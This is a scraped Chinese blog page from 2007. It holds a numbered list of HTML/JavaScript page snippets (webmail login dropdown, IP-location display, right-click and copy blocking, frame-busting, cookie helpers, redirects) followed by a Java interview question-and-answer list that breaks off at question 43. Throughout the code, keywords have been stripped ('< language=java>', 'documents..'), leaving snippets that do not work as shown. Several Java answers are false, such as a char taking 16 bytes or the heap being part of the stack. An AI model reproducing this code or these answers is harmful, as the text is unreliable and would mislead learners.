    <option =http://webmail.21cn.net/nature/gb/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;hidden;DomainName;21cn.net>@21cn.net</option>
    <option =http://freemail.263.net/cgi/login;user;pass>@263.net</option>
    <option =http://vip.163.com/payment/VipLogon.jsp;username;password;post>@vip.163.com</option>
    <option =http://web.netease.com/cgi/login;user;pass;post>@netease.com</option>
    <option =http://web.yeah.net/cgi/login;user;pass;post>@Yeah.net</option>
    <option =http://freemail.china.com/extend/gb/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;post>@mail.china.com</option>
    <option =http://login.mail.sohu.com/chkpwd.php;UserName;Password;post>@sohu.com</option>
    <option =http://login.chinaren.com/zhs/servlet/Login;username;password;post;hidden;url;http://mail.chinaren.com>@ChinaRen.com</option>
    <option =http://edit.bjs.yahoo.com/config/login;login;passwd;post>@yahoo.com.cn</option>
    <option =https://login.passport.com/ppsecure/post.srf?da=passport.com&svc=mail;login;passwd;suffix;msn.com>@msn.com</option></select>
    <font style=font-size:9pt;>密码:</font>
    <input style="BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid"
    =this.select() tabindex=3ā type=password size=12 name=password>
    <input type=submit =登陆 name=Submit2>
    < language="Java" type="text/Java" src="http://union.3721.com/ass/txt_2.js?pid2=A_ ... ;></>
    <a href="http://www.k688.com/"style=font-size:9pt;TEXT-DECORATIO ... 0"target="_blank">
    <font color="#FF0000">免费代码</font></a> </div></TD></TR></FORM></TABLE>

    98.IP来源地显示代码:(四种)
    1)< src="http://w1.k688.com/ip/ip1.js"></>
    效果:欢迎您来自:福建省福州市 的朋友.您的IP:218.66.37.215【网】
    2)< src="http://w1.k688.com/ip/ip2.js"></>
    效果: 您的IP:218.66.37.215
    您来自:福建省福州市
    3)< src="http://w1.k688.com/ip/ip3.js"></>
    效果:您的IP:218.66.37.215.来自:福建省福州市【网】
    4)< src="http://w1.k688.com/ip/ip4.js"></>
    效果:(只显示IP和地址,前后文字可自己添加)
    218.10.89.246 黑龙江省哈尔滨市 【网】 218.10.89.246 黑龙江省哈尔滨市 【网】 219.128.2.25 广东省中山市 【网】 218.10.89.246 黑龙江省哈尔滨市 【网】 219.128.2.25 广东省中山市 【网】 218.66.37.215. 福建省福州市【网】

    99.百度搜索代码:
    <i id="baidu" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"
    spacing="0" border="0" scrolling="no" width="468" height="50"
    src="http://unstat.baidu.com/bdun.bsc?tn=jianliang&csid=101&rkcs=2& ... 000&rk=0&bd=1&bdas=0">
    </i>

    posted @ 2007-05-30 00:55 jadmin 阅读(100) | 评论 (0)编辑 收藏

    1. 将彻底屏蔽鼠标右键,无右键菜单
    <body oncontextmenu="event.return=false">
    也可以用于网页中Table框架中:<table border oncontextmenu=return(false)><td>no</table>
    2.取消选取、防止复制
    <body onselectstart="return false">

    3.不准粘贴
    <body onpaste="return false">

    4.防止复制
    <body oncopy="return false;" oncut="return false;">

    5.IE地址栏前换成自己的图标
    <link rel="Shortcut Icon" href="favicon.ico">
    说明:关于favicon.ico文件的制作。你可以先在FW中做一个图片,属于你自己站点一个小图标。然后在ACD see将文件属性改为*.ico,然后将你做的*.ICO文件传到你的服务器目录中,然后就可以使用以上代码来实现,当别人登陆你的站点时,地址栏里使用的就是你自定义的图标了。很PP哦。

    6.可以在收藏夹中显示出你的图标
    <link rel="Bookmark" href="favicon.ico">
    说明:制作方法和上面的一样。只是显示的方式不同,这个是在别人收藏你的网页地址时显示的个性图标。也很PP.

    7.关闭输入法
    <input style="ime-mode:disabled">
    说明:这段代码是在表格提交时用到的。也就是在输入数据时不可以使用其他输入法模式。

    8.永远都会带着框架
    < language="java"><!--
     if (window == top)top.location.href = "s.htm";// --></>
    说明:s.htm为你的网页,这也是保护页面的一种方法

    9.防止被人
    < LANGUAGE=java><!--
     if (top.location != self.location)top.location=self.location;
    // --></>

    10.网页将不能被另存为
    <no><i src="/*.html>";</i></no>
    说明:<noscirpt>的用法很广,其中一条就是可以使JS广告失效。

    11.查源文件
    <input type=button =查看网页源代码
    ="location = view-source:+ http://bbs.itren.cn/;">

    12.脚本记录,有很大的用处哦
    get_(Name) {
    var search = Name + "="
    var return = "";
    if (documents..length > 0) {
    offset = documents..indexOf(search)
    if (offset != -1) { // if exists
    offset += search.length
    // set index of beginning of
    end = documents..indexOf(";", offset);
    // set index of end of
    if (end == -1)
    end = documents..length;
    return=unescape(documents..substring(offset, end))
    }
    }
    return return;
    }
    loadpopup(){
    if (get_(popped)==){
    openpopup()
    documents.="popped=yes"
    }
    }
    说明:以上是JS代码,请自己加起始符和结束符

    13.内框架<I>使用
    I标记的使用格式是:   
    <i src="/URL" width="x" height="x" scrolling="[OPTION]" border="x"
    name="main"></i>
    src:文件的路径,既可是HTML文件,也可以是文本、ASP等;width、height:"内部框架"区域的宽与高; scrolling:当SRC的指定的HTML文件在指定的区域不显不完时,滚动选项,如果设置为NO,则不出现滚动条;如为Auto:则自动出现滚动条;如为Yes,则显示;  Border:区域边框的宽度,为了让“内部框架“与邻近的内容相融合,常设置为0。name:框架的名字,用来进行识别。
    比如:当你想用父框架控制内部框架时,可以使用: target="框架的名字"来控制。
    例子:<i name="mm" src="http://www.itren.cn";;width="100%"height="100%"marginwidth="0"marginheight=" ... ;border="0"scrolling="no"></i>

    14.自动跳转
    在源代码中的<head>…</head>加入如下代码:
    < http-equiv="refresh"content="3;URL=http://www.fitads.com; charset=utf-8">
    说明:content="3 表示3秒刷新到URL
    这个JavaScrip也有能实现自动跳转:< language="java">location.replace("http://www.itren.cn")</>

    15.如何改变链接的鼠标形状
    只需在链接上加上这一代码就行的了
    或者跟上面的用CSS写也行
    style="cursor:hand"       style="cursor:crosshair"
    style="cursor:text"       style="cursor:wait"
    style="cursor:move"       style="cursor:help"
    style="cursor:e-resize"     style="cursor:n-resize"
    style="cursor:nw-resize"     style="cursor:w-resize"
    style="cursor:s-resize"     style="cursor:se-resize"
    style="cursor:sw-resize"
    以上代码你只需要加到连接或是页面的style区里就可以实现鼠标多样化。

    16.全屏显示
    <form>
    <div align="center">
    <input type="BUTTON" name="FullScreen" ="全屏显示" ="open(location, big, fullscreen=yes)">
    </div>
    </form>
    把它放到<body>区中。

    17.设为首页
    < language="java">
    <!--
    defaul_home(){
    this.home.style.behavior=url(#default#homepage);this.home.setHomePage(http://www.itren.cn/;);
    }
    var focusok=false;
    if (navigator.appName == "Netscape"){
    focusok=true;
    }
    vers=navigator.appVersion;
    if (navigator.appName == "Microsoft Internet Explorer"){
    pos=vers.lastIndexOf(.);
    vers=vers.substring(pos-1,vers.length);
    }
    proper_version=parseFloat(vers);
    if(proper_version>=5){
    focusok=true;
    }
    launchstock1(htmlurl){
    var stock=open(htmlurl,"stock","top=2,left=2,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,
    resizable=no,width=700,height=510");
    if(focusok){
    stock.focus();
    }
    return true;
    }
    launchstock(){
    var stock=open("","stock","top=2,left=2,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,
    resizable=no,width=700,height=510");
    if(focusok){
    stock.focus();
    }
    return true;
    }
    // -->
    </>
    <a href="#" name="home" ="defaul_home();" title="==E代时光==">设为首页</a>

    18.这里是加入收藏夹的代码
    <a href="#" ="external.addFavorite(http://www.itren.cn;.-=IT人=-)" target="_self" title="-=IT人=-">加入收藏夹</a>

    19.flash图片效果
    以下代码加入<head>区域
    < language="java">
    <!--
    makevisible(cur,which){
    if (which==0)
    cur.filters.alpha.opacity=100
    else
    cur.filters.alpha.opacity=20
    }
    //-->
    </>
    以下代码加入<body>区域
    <img src="<table cellspacing="0" cellpadding="0" bgcolor="#0000FF" height="18" id="Q"><tr><td></td></tr></table></td></tr></table>
    </center>
    < language=java>
    var R = 0; load();
    load() {R = R + 2; Q.style.width = R + "%"; time= setTimeout("load()",50);
    if (R > 100) {clearTimeout(time); P.style.width=0}}
    </>

    27 全屏
    < language=java>
    open(index.asp,,fullscreen=1);
    </>

    21.背景图片滚动
    <body scroll="no" background="/images/bg.jpg" link="#00FF00" alink="#FF0000" vlink="#00FF00" bgcolor="#000080" topmargin="8">
    < language="java">
    var backgroundOffset = 0;
    var bgObject = eval(body);
    scrollBG(maxSize) {backgroundOffset = backgroundOffset + 1;
    if (backgroundOffset > maxSize) backgroundOffset = 0;
    bgObject.style.backgroundPosition = "0 " + backgroundOffset;}
    var ScrollTimer = setInterval("scrollBG(410)", 20)
    </>
    如果转萜,请注明转自-=IT人=-http://www.itren.cn

    22.网页不会被缓存
    HTMl网页
    < HTTP-EQUIV="pragma" CONTENT="no-cache">
    < HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
    < HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
    或者< HTTP-EQUIV="expires" CONTENT="0">
    ASP网页
     Response.Expires = -1
     Response.ExpiresAbsolute = Now() - 1
     Response.cachecontrol = "no-cache"
    PHP网页
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-cache, must-revalidate");
    header("Pragma: no-cache");

    23.<%定义数据库连接的一些常量
    Const adOpenForwardOnly  = 0 游标只向前浏览记录,不支持分页、Recordset、BookMark
    Const adOpenKeyset = 1 键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
    Const adOpenDynamic = 2 动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
    Const adOpenStatic = 3 静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动
    Const adLockReadOnly = 1 锁定类型,默认的,只读,不能作任何修改
    Const adLockPessimistic = 2 当编辑时立即锁定记录,最安全的方式
    Const adLockOptimistic = 3 只有在调用Update方法时才锁定记录集,而在此前的其他操作仍可对当前记录进行更改、插入和删除等
    Const adLockBatchOptimistic = 4 当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的
    Const adCmdText = &H0001
    Const adCmdTable = &H0002
    %>

    24.最小化、最大化、关闭窗口
    <object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" ="Minimize"></object>
    <object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" ="Maximize"></object>
    <OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
    <PARAM NAME="Command" ="Close"></OBJECT>
    <input type=button =最小化 =hh1.Click()>
    <input type=button =最大化 =hh2.Click()>
    <input type=button =关闭 =hh3.Click()>
    说明:本例适用于IE

    25.判断上一页的来源
    asp页:
    request.servervariables("HTTP_REFERER")
    java :
    referrer

    26.光标是停在文本框文字的最后
    < language="java">
    cc()
    {
     var e = event.srcElement;
     var r =e.createTextRange();
     r.moveStart(character,e..length);
     r.collapse(true);
     r.select();
    }
    </>
    <input type=text name=text1 ="123" ="cc()">
    说明:适用于表格数据提交
    如果转萜,请注明转自-=e代时光=-http://www.e3i5.com

    27.怎样通过asp的手段来检查来访者是否用了代理
    <% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
    response.write "<font color=#FF0000>您通过了代理服务器,"& _
    "真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    end if
    %>

    28.取得控件的绝对位置
    < language="java">
    getIE(e){
     var t=e.offsetTop;
     var l=e.offsetLeft;
     while(e=e.offsetParent){
      t+=e.offsetTop;
      l+=e.offsetLeft;
      }
     alert("top="+t+"\nleft="+l);
     }
    </>
    //VB
    < language="VB"><!--
    getIE()
     dim t,l,a,b
     set a=all.img1
     t=all.img1.offsetTop
     l=all.img1.offsetLeft
     while a.tagName<>"BODY"
      set a = a.offsetParent
      t=t+a.offsetTop
      l=l+a.offsetLeft
     wend
     msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
    end
    --></>

    29.滚动特效
    <marquee Over="this.stop()" Out="this.start()" scrollamount="2" scrolldelay="0" direction="up" width="330" height="120" border="0" align="center" id="MARQUEE1">
    <p>欢迎光临E代时光
    感谢
    </marquee>

    30.自动更新提示
    <body>
    <TABLE border=2 cellspacing=0 cellpadding=3>
    <TR><TD bgcolor="#000044">
    <FONT color="#4400ff" face=georgia,arial size=+1>
    <CENTER>
    < LANGUAGE="java">
    <!--
    write(title);
    //-->
    </>
    </TD></TR>
    <TR><TD bgcolor="#440000">
    <FONT size=-1 color="#ff0000" face="trebuchet MS","arial">
    < LANGUAGE="java">
    <!-- Begin
    getVal (offset) {
    var endstr = documents..indexOf (";", offset);
    if (endstr == -1)
    endstr = documents..length;
    return unescape(documents..substring(offset, endstr));
    }
    Get (name) {
    var arg = name + "=";
    var alen = arg.length;
    var clen = documents..length;
    var i = 0;
    while (i < clen) {
    var j = i + alen;
    if (documents..substring(i, j) == arg)
    return getVal (j);
    i = documents..indexOf(" ", i) + 1;
    if (i == 0) break;
    }
    return null;
    }
    Set (name, ) {
    var argv = Set.arguments;
    var argc = Set.arguments.length;
    var expires = (argc > 2) ? argv[2] : null;
    var path = (argc > 3) ? argv[3] : null;
    var domain = (argc > 4) ? argv[4] : null;
    var secure = (argc > 5) ? argv[5] : false;
    documents. = name + "=" + escape () +
    ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
    ((path == null) ? "" : ("; path=" + path)) +
    ((domain == null) ? "" : ("; domain=" + domain)) +
    ((secure == true) ? "; secure" : "");
    }
    Delete(name) {
    var exp = new Date();
    FixDate (exp);
    exp.setTime (exp.getTime() - 1);
    var cval = Get (name);
    if (cval != null)
    documents. = name + "=" + cval + "; expires=" + exp.toGMTString();
    }
    var _date=new Date(lastModified);
    var expdate = new Date();
    expdate.setTime(expdate.getTime()+(5*24*60*60*1000));
    write("<Font color=ff8800>" + "上次更新时间: "+ "</font>" +lastModified);
    write("");
    if (!(_date == Get("_date"))){
    Set("_date",_date,expdate);
    write("<font color=yellow>
    站点上次更新!</font>
    ");
    }
    // End -->
    </>
    </FONT>
    </TD></TR>
    </TABLE>
    </CENTER>
    </body>

    31.关于表格提交的几种格式
    <input type=text name=txtPostalCode press="if (event.keyCode < 45 || event.keyCode > 57) event.return = false;">
    限制输入字符,你可以改变KEYCODE的值来限制输入。你将KEYCODE的值设为极大和极小就什么也不能输入了。这个可以屏蔽你想屏蔽的字符有一定的选择性..
    <INPUT type="text" name="username" ="james" disabled>
    使用disabled属性后的区域的值,不能被传递给其他的程序(ASP/CGI)去处理,如果你非要传递请通过隐藏属性去做。这个比较单一,功能不强。一般用于未完成的站点。
    <INPUT type="text" name="partNumber" ="1500" readonly>
    readonly属性顾名思义是“只读”。它将TEXT转化为一个对象,禁止对它进行编辑。你虽然可以通过TAB键在多个TEXT区域间切换,但是不能修改已经指定的TEXT区的值。但是它不象Disabled属性那样,可以进行正常的数值传递。

    32.让背景图不滚动
    IE浏览器支持一个 Body 属性 bgproperties,它可以让背景不滚动:
    〈Body Background="图片文件" bgproperties="fixed"〉

    33.让你的网页无法另存为
    <no><i src="/*>";</i></no>

    34.让I框架内的文档的背景透明
    <i src="about :<body style=background:transparent>" allowtransparency></i>

    35.禁止右键:
    <body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false" onselect="selection.empty()" oncopy="selection.empty()" onbeforecopy="return false"up="selection.empty()">

    36.进入页面后立即自动刷新?
    < http-equiv="refresh" content="120;url=Http://www.itren.cn">
    Http://www.itren.cn ,这是你自己的网址。

    37 .打开窗口即最大化
    < language="java">
    <!-- Begin
    self.moveTo(0,0)
    self.resizeTo(screen.availWidth,screen.availHeight)
    // End -->
    </>

    38.能隐藏I的滚动条吗?我知道的三种方法:
    1. 设置i scrolling="no"
    2. 被包含页body应用overflow:hidden
    3. 被包含页的body标签加scroll="no"

    39.加入背景音乐
    <bgsound src="mid/min1.mid" loop="-1"> 只适用于IE
    <embed src="music.mid" autostart="true" loop="true" hidden="true"> 对Netscape ,IE 都适用

    40.滚动
    <MARQUEE direction=up height=146 out=start() over=stop() scrollAmount=4></marquee>

    posted @ 2007-05-30 00:54 jadmin 阅读(56) | 评论 (0)编辑 收藏

    一、Java基础方面
    1、作用域public,private,protected,以及不写时的区别

      答:区别如下:

      作用域         当前类        同一package        子孙类         其他package
      public           √              √               √                √
      protected        √              √               √                ×
      friendly         √              √               ×                ×
      private          √              ×               ×                ×

      不写时默认为friendly

    2、Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类,是否可以implements(实现)interface(接口)

      答:匿名的内部类是没有名字的内部类。可以继承抽象(SDK1.5没有限制),但一个内部类可以作为一个接口,由另一个内部类实现

    3、Static Nested Class 和 Inner Class的不同

      答:Nested Class (一般是C++的说法),Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。注: 静态内部类(Inner Class)意味着1创建一个static内部类的对象,不需要一个外部类对象,2不能从一个static内部类的一个对象访问一个外部类对象

    4、&和&&的区别

      答:&是位运算符,表示按位与运算,&&是逻辑运算符,表示逻辑与(and)

    5、Collection 和 Collections的区别

      答:Collection是集合类的上级接口,继承与他的接口主要有Set 和List.
    Collections是针对集合类的一个帮助类,他提供一系列静态方法实现对各种集合的搜索、排序、线程安全化等操作

    6、什么时候用assert

      答:assertion(断言)在软件开发中是一种常用的调试方式,很多开发语言中都支持这种机制。在实现中,assertion就是在程序中的一条语句,它对一个boolean表达式进行检查,一个正确程序必须保证这个boolean表达式的值为true;如果该值为false,说明程序已经处于不正确的状态下,系统将给出警告或退出。一般来说,assertion用于保证程序最基本、关键的正确性。assertion检查通常在开发和测试时开启。为了提高性能,在软件发布后,assertion检查通常是关闭的

    7、String s = new String("xyz");创建了几个String Object

      答:"xyz"本身作为字符常量,在汇编语言中应该作为常量放在数据段,Java有一个类似数据段的constant pool保存这个常量,在classloader加载这个类的时候就把"xyz"和这个类的其他一些信息放在constant     pool    new     String("xyz")根据常量"xyz"在heap上创建String对象所以,一共两个对象
         String(String     original)    Initializes     a     newly     created     String     object     so     that     it     represents     the     same    sequence     of     characters     as     the     argument;     in     other     words,     the     newly     created     string     is     a     copy     of    the     argument     string.   


    8、Math.round(11.5)等於多少? Math.round(-11.5)等於多少

      答: Math.round(11.5)==12;Math.round(-11.5)==-11;round方法返回与参数最接近的长整数,参数加1/2后求其floor

    9、short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错

      答:short s1 = 1; s1 = s1 + 1; (s1+1运算结果是int型,需要强制转换类型)short s1 = 1; s1 += 1;(可以正确编译)

    10、Java有没有goto

      答:java中的保留字,现在没有在java中使用

    11、数组有没有length()这个方法? String有没有length()这个方法

      答:数组没有length()这个方法,有length的属性。String有length()这个方法

    12、Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型

      答:方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现,重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数,我们说该方法被重写 (Overriding)。子类的对象使用这个方法时,将调用子类中的定义,对它而言,父类中的定义如同被"屏蔽"了。如果在一个类中定义了多个同名的方法,它们或有不同的参数个数或有不同的参数类型,则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型

    13、Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别

      答:Set里的元素是不能重复的,那么用iterator()方法来区分重复与否。equals()是判断两个Set是否相等, equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖,为的是当两个分离的对象的内容和类型相配的话,返回真值

    14、给我一个你最常见到的runtime exception

      答:常见的运行时异常有如下这些ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException, ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException

    15、error和exception有什么区别

      答:error 表示恢复不是不可能但很困难的情况下的一种严重问题,比如说内存溢出,不可能指望程序能处理这样的情况;exception 表示一种设计或实现问题。也就是说,它表示如果程序运行正常,从不会发生的情况

    16、List, Set, Map是否继承自Collection接口

      答:List,Set是,Map不是

    17、abstract class和interface有什么区别

      答:声明方法的存在而不去实现它的类被叫做抽象类(abstract class),它用于要创建一个体现某些基本行为的类,并为该类声明方法,但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量,其类型是一个抽象类,并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现,否则它们也是抽象类为。取而代之,在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法

      接口(interface)是抽象类的变体。在接口中,所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的,没有一个有程序体。接口只可以定义static final成员变量。接口的实现与子类相似,除了该实现类不能从接口定义中继承行为。当类实现特殊接口时,它定义(即将程序体给予)所有这种接口的方法。然后,它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类,它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换,instanceof 运算符可以用来决定某对象的类是否实现了接口

    18、abstract的method是否可同时是static,是否可同时是native,是否可同时是synchronized

      答:都不能

    19、接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)

      答:接口可以继承接口。抽象类可以实现(implements)接口,抽象类是否可继承实体类,但前提是实体类必须有明确的构造函数

    20、构造器Constructor是否可被override

      答:构造器Constructor不能被继承,因此不能重写Overriding,但可以被重载Overloading

    21、是否可以继承String类

      答:String类是final类故不可以继承

    22、try {}里有一个return语句,那么紧跟在这个try后的finally {}里的code会不会被执行,什么时候被执行,在return前还是后

      答:会执行,在return前执行

    23、用最有效率的方法算出2乘以8等於几

      答:2 << 3

    24、两个对象值相同(x.equals(y) == true),但却可有不同的hash code,这句话对不对

      答:不对,有相同的hash code

    25、当一个对象被当作参数传递到一个方法后,此方法可改变这个对象的属性,并可返回变化后的结果,那么这里到底是值传递还是引用传递

      答:是值传递。Java 编程语言只有值传递参数。当一个对象实例作为一个参数被传递到方法中时,参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变,但对象的引用是永远不会改变的

    26、swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上

      答:switch(expr1)中,expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich

    27、ArrayList和Vector的区别,HashMap和Hashtable的区别

      答:就ArrayList与Vector主要从二方面来说:

      1、同步性:Vector是线程安全的,也就是说是同步的,而ArrayList是线程序不安全的,不是同步的

      2、数据增长:当需要增长时,Vector默认增长为原来一倍,而ArrayList却是原来的一半

      就HashMap与HashTable主要从三方面来说:

      1、历史原因:Hashtable是基于陈旧的Dictionary类的,HashMap是Java 1.2引进的Map接口的一个实现

      2、同步性:Hashtable是线程安全的,也就是说是同步的,而HashMap是线程序不安全的,不是同步的

      3、值:只有HashMap可以让你将空值作为一个表的条目的key或value

    28、char型变量中能不能存贮一个中文汉字?为什么?

      答:是能够定义成为一个中文的,因为java中以unicode编码,一个char占16个字节,所以放一个中文是没问题的
    如果用gbk的本地编码的话可以.如果用utf-8的话,可能不行。

    29、GC是什么? 为什么要有GC

      答:GC是垃圾收集的意思(Gabage Collection),内存处理是编程人员容易出现问题的地方,忘记或者错误的内存回收会导致程序或系统的不稳定甚至崩溃,Java提供的GC功能可以自动监测对象是否超过作用域从而达到自动回收内存的目的,Java语言没有提供释放已分配内存的显示操作方法。

    30、float型float f=3.4是否正确?

      答:不正确。精度不准确,应该用强制类型转换,如下所示:float f=(float)3.4; float f = 3.4f;

    31、介绍JAVA中的Collection FrameWork(包括如何写自己的数据结构)?

      答:Collection FrameWork如下:

        Collection
        ├List
        │├LinkedList
        │├ArrayList
        │└Vector
        │ └Stack
        └Set
        Map
        ├Hashtable
        ├HashMap
        └WeakHashMap
      Collection是最基本的集合接口,一个Collection代表一组Object,即Collection的元素(Elements)

      Map提供key到value的映射

    32、抽象类与接口?

      答:抽象类与接口都用于抽象,但是抽象类(JAVA中)可以有自己的部分实现,而接口则完全是一个标识(同时有多实现的功能)。

      JAVA类实现序例化的方法是实现java.io.Serializable接口

      Collection框架中实现比较要实现Comparable 接口和 Comparator 接口

    33、STRING与STRINGBUFFER的区别。

      答:STRING的长度是不可变的,STRINGBUFFER的长度是可变的。如果你对字符串中的内容经常进行操作,特别是内容要修改时,那么使用StringBuffer,如果最后需要String,那么使用StringBuffer的toString()方法

    34、谈谈final, finally, finalize的区别

      答:final—修饰符(关键字)如果一个类被声明为final,意味着它不能再派生出新的子类,不能作为父类被继承。因此一个类不能既被声明为 abstract的,又被声明为final的。将变量或方法声明为final,可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值,而在以后的引用中只能读取,不可修改。被声明为final的方法也同样只能使用,不能重载

      finally—再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常,那么相匹配的 catch 子句就会执行,然后控制就会进入 finally 块(如果有的话)

      finalize—方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的,因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的

    35、面向对象的特征有哪些方面

      答:主要有以下四方面:

      1.抽象:抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。抽象包括两个方面,一是过程抽象,二是数据抽象。

      2.继承:继承是一种联结类的层次模型,并且允许和鼓励类的重用,它提供了一种明确表述共性的方法。对象的一个新类可以从现有的类中派生,这个过程称为类继承。新类继承了原始类的特性,新类称为原始类的派生类(子类),而原始类称为新类的基类(父类)。派生类可以从它的基类那里继承方法和实例变量,并且类可以修改或增加新的方法使之更适合特殊的需要。

      3.封装:封装是把过程和数据包围起来,对数据的访问只能通过已定义的界面。面向对象计算始于这个基本概念,即现实世界可以被描绘成一系列完全自治、封装的对象,这些对象通过一个受保护的接口访问其他对象。

      4. 多态性:多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势,很好的解决了应用程序函数同名问题。

    36、String是最基本的数据类型吗

      答:不是,基本数据类型包括byte、int、char、long、float、double、boolean和short。
    java.lang.String类是final类型的,因此不可以继承这个类、不能修改这个类。为了提高效率节省空间,我们应该用StringBuffer类

    37、int 和 Integer 有什么区别

      答:Java 提供两种不同的类型:引用类型和原始类型(或内置类型)。

      Int是java的原始数据类型,Integer是java为int提供的wapper。Java为每个原始类型提供了封装类。

      原始类型封装类:
      boolean : Boolean
      char : Character
      byte : Byte
      short : Short
      int : Integer
      long : Long
      float : Float
      double : Double

      引用类型和原始类型的行为完全不同,并且它们具有不同的语义。引用类型和原始类型具有不同的特征和用法,它们包括:大小和速度问题,这种类型以哪种类型的数据结构存储,当引用类型和原始类型用作某个类的实例数据时所指定的缺省值。对象引用实例变量的缺省值为 null,而原始类型实例变量的缺省值与它们的类型有关

    38、运行时异常与一般异常有何异同

      答:异常表示程序运行过程中可能出现的非正常状态,运行时异常表示虚拟机的通常操作中可能遇到的异常,是一种常见运行错误。java编译器要求方法必须声明抛出可能发生的非运行时异常,但是并不要求必须声明抛出未被捕获的运行时异常。

    39、说出ArrayList,Vector, LinkedList的存储性能和特性

      答:ArrayList和Vector都是使用数组方式存储数据,此数组元素数大于实际存储的数据以便增加和插入元素,它们都允许直接按序号索引元素,但是插入元素要涉及数组元素移动等内存操作,所以索引数据快而插入数据慢,Vector由于使用了synchronized方法(线程安全),通常性能上较ArrayList差,而LinkedList使用双向链表实现存储,按序号索引数据需要进行前向或后向遍历,但是插入数据时只需要记录本项的前后项即可,所以插入速度较快。

    40、HashMap和Hashtable的区别

      答:HashMap是Hashtable的轻量级实现(非线程安全的实现),他们都完成了Map接口,主要区别在于HashMap允许空(null)键值(key),由于非线程安全,效率上可能高于Hashtable。

      HashMap允许将null作为一个entry的key或者value,而Hashtable不允许。

      HashMap把Hashtable的contains方法去掉了,改成containsvalue和containsKey。因为contains方法容易让人引起误解。

      Hashtable继承自Dictionary类,而HashMap是Java1.2引进的Map interface的一个实现。

      最大的不同是,Hashtable的方法是Synchronize的,而HashMap不是,在多个线程访问Hashtable时,不需要自己为它的方法实现同步,而HashMap 就必须为之提供外同步。

      Hashtable和HashMap采用的hash/rehash算法都大概一样,所以性能不会有很大的差异。

    41、heap和stack有什么区别

      答:栈是一种线形集合,其添加和删除元素的操作应在同一段完成。栈按照后进先出的方式进行处理。堆是栈的一个组成元素

    42、Java的接口和C++的虚类的相同和不同处

      答:由于Java不支持多继承,而有可能某个类或对象要使用分别在几个类或对象里面的方法或属性,现有的单继承机制就不能满足要求。与继承相比,接口有更高的灵活性,因为接口中没有任何实现代码。当一个类实现了接口以后,该类要实现接口里面所有的方法和属性,并且接口里面的属性在默认状态下面都是public static,所有方法默认情况下是public.一个类可以实现多个接口。

    43、Java中的异常处理机制的简单原理和应用

